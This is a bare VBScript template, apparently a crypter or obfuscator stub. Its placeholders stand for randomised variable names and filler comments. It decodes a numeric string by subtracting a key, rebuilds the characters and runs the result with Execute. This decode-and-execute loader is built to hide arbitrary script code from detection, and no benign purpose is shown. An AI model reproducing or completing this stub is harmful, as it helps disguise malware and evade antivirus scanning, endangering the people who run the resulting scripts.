'%app0%

dim %v1%
'%app1%

%v1%="%txt%"

'%app2%


   Dim %v2% 
   '%app3%

        For Each %v3% In split(%v1%,"%!%")
		'%app4%

            %v2% = %v2% & ChrW(%v3% - "%key%")
			'%app5%

        Next
		'%app5%

  Execute %v2% 

  '%app6%
